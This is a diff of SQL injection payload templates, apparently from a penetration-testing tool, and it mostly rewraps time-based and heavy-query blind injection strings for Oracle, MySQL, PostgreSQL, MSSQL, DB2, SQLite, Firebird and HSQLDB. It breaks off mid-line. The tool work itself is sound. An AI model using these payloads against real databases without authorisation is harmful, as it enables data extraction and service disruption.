CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] + END FROM DUAL + ;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL @@ -374,7 +392,9 @@ 2 1-8 1 - ;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL + ;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS + T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL + ;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5 -- @@ -394,7 +414,9 @@ 2 1-8 1 - ;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL + ;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS + T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL + ;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5 @@ -491,9 +513,12 @@ 2 1-8 1 - ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]) + ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE + ([INFERENCE]) + - ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 + ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 + -- @@ -511,9 +536,12 @@ 2 1-8 1 - ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]) + ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE + ([INFERENCE]) + - ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 + ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 + @@ -530,7 +558,9 @@ 2 1-8 1 - ;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) + ;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) + ELSE [RANDNUM] END) + ;SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) -- @@ -551,7 +581,9 @@ 2 1-8 1 - ;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) + ;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) + ELSE [RANDNUM] END) + ;SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) @@ -571,9 +603,12 @@ 2 1-8 1 - ;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE + ;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS + T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE + - ;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4 + ;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4 + -- @@ -584,7 +619,7 @@ >= 2.0
- + Firebird stacked queries (heavy query) 4 @@ -592,9 +627,12 @@ 2 1-8 1 - ;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE + ;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS + T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE + - ;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4 + ;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4 + @@ -612,7 +650,9 @@ 2 1-8 1 - ;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3 + ;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM + DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3 + ;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3 -- @@ -632,7 +672,9 @@ 2 1-8 1 - ;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3 + ;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM + DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3 + ;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3 @@ -651,7 +693,9 @@ 2 1-8 1 - ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END + ;CALL CASE WHEN ([INFERENCE]) THEN + REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END + ;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) -- @@ -664,7 +708,7 @@ >= 1.7.2
- + HSQLDB >= 1.7.2 stacked queries (heavy query) 4 @@ -672,7 +716,9 @@ 2 1-8 1 - ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END + ;CALL CASE WHEN ([INFERENCE]) THEN + REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END + ;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) @@ -692,7 +738,9 @@ 2 1-8 1 - ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END + ;CALL CASE WHEN ([INFERENCE]) THEN + REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END + ;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) -- @@ -713,7 +761,9 @@ 2 1-8 1 - ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END + ;CALL CASE WHEN ([INFERENCE]) THEN + REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END + ;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml index dfd9a2d26..830b9db89 100644 --- a/data/xml/payloads/time_blind.xml +++ b/data/xml/payloads/time_blind.xml @@ -11,7 +11,8 @@ 1 1,2,3,8,9 1 - AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) @@ -31,7 +32,8 @@ 3 1,2,3,9 1 - OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) @@ -133,7 +135,8 @@ 1 1,2,3,9 1 - AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) # @@ -154,7 +157,8 @@ 3 1,2,3,9 1 - OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) # @@ -195,9 +199,13 @@ 2 1,2,3,8,9 1 - AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM]) + AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, + INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM]) + - AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C) + AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, + INFORMATION_SCHEMA.COLUMNS C) + @@ -235,9 +243,13 @@ 3 1,2,3,9 1 - OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM]) + OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, + INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM]) + - OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C) + OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, + INFORMATION_SCHEMA.COLUMNS C) + @@ -276,9 +288,13 @@ 2 1,2,3,9 1 - AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM]) + AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, + INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM]) + - AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C) + AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, + INFORMATION_SCHEMA.COLUMNS C) + # @@ -318,9 +334,13 @@ 3 1,2,3,9 1 - OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM]) + OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, + INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM]) + - OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C) + OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, + INFORMATION_SCHEMA.COLUMNS C) + # @@ -373,14 +393,15 @@
- + MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP) 5 3 1 1,2,3,9 1 - RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) @@ -389,8 +410,8 @@
MySQL - >= 5.0.12 -
+ >= 5.0.12 +
@@ -400,7 +421,8 @@ 1 1,2,3,9 1 - RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) # @@ -500,7 +522,9 @@ 1 1,2,3,8,9 1 - AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] + END) + AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) @@ -520,7 +544,9 @@ 3 1,2,3,9 1 - OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] + END) + OR [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) @@ -540,7 +566,9 @@ 1 1,2,3,9 1 - AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] + END) + AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) -- @@ -561,7 +589,9 @@ 3 1,2,3,9 1 - OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] + END) + OR [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) -- @@ -582,7 +612,9 @@ 2 1,2,3,8,9 1 - AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) + ELSE [RANDNUM] END) + AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) @@ -601,7 +633,9 @@ 3 1,2,3,9 1 - OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) + ELSE [RANDNUM] END) + OR [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) @@ -620,7 +654,9 @@ 2 1,2,3,9 1 - AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) + ELSE [RANDNUM] END) + AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) -- @@ -640,7 +676,9 @@ 3 1,2,3,9 1 - OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) + ELSE [RANDNUM] END) + OR [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) -- @@ -701,9 +739,14 @@ 2 1,2,3,8,9 1 - AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END) + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS + sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] + END) + - AND [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) + AND [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS + sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) + @@ -721,9 +764,14 @@ 3 1,2,3,9 1 - OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END) + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS + sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] + END) + - OR [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) + OR [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS + sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) + @@ -741,9 +789,14 @@ 2 1,2,3,9 1 - AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END) + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS + sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] + END) + - AND [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) + AND [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS + sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) + -- @@ -762,9 +815,14 @@ 3 1,2,3,9 1 - OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END) + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS + sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] + END) + - OR [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) + OR [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS + sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) + -- @@ -783,7 +841,9 @@ 1 1,2,3,9 1 - AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE + [RANDNUM] END) + AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) @@ -802,7 +862,9 @@ 3 1,2,3,9 1 - OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE + [RANDNUM] END) + OR [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) @@ -821,7 +883,9 @@ 1 1,2,3,9 1 - AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE + [RANDNUM] END) + AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) -- @@ -841,7 +905,9 @@ 3 1,2,3,9 1 - OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE + [RANDNUM] END) + OR [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) -- @@ -861,9 +927,13 @@ 2 1,2,3,9 1 - AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS + T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) + - AND [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) + AND [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS + T5) + @@ -880,9 +950,13 @@ 3 1,2,3,9 1 - OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS + T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) + - OR [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) + OR [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS + T5) + @@ -899,9 +973,13 @@ 2 1,2,3,9 1 - AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS + T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) + - AND [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) + AND [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS + T5) + -- @@ -919,9 +997,13 @@ 3 1,2,3,9 1 - OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS + T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) + - OR [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) + OR [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS + T5) + -- @@ -939,9 +1021,13 @@ 2 1,2,3,9 1 - AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) + AND 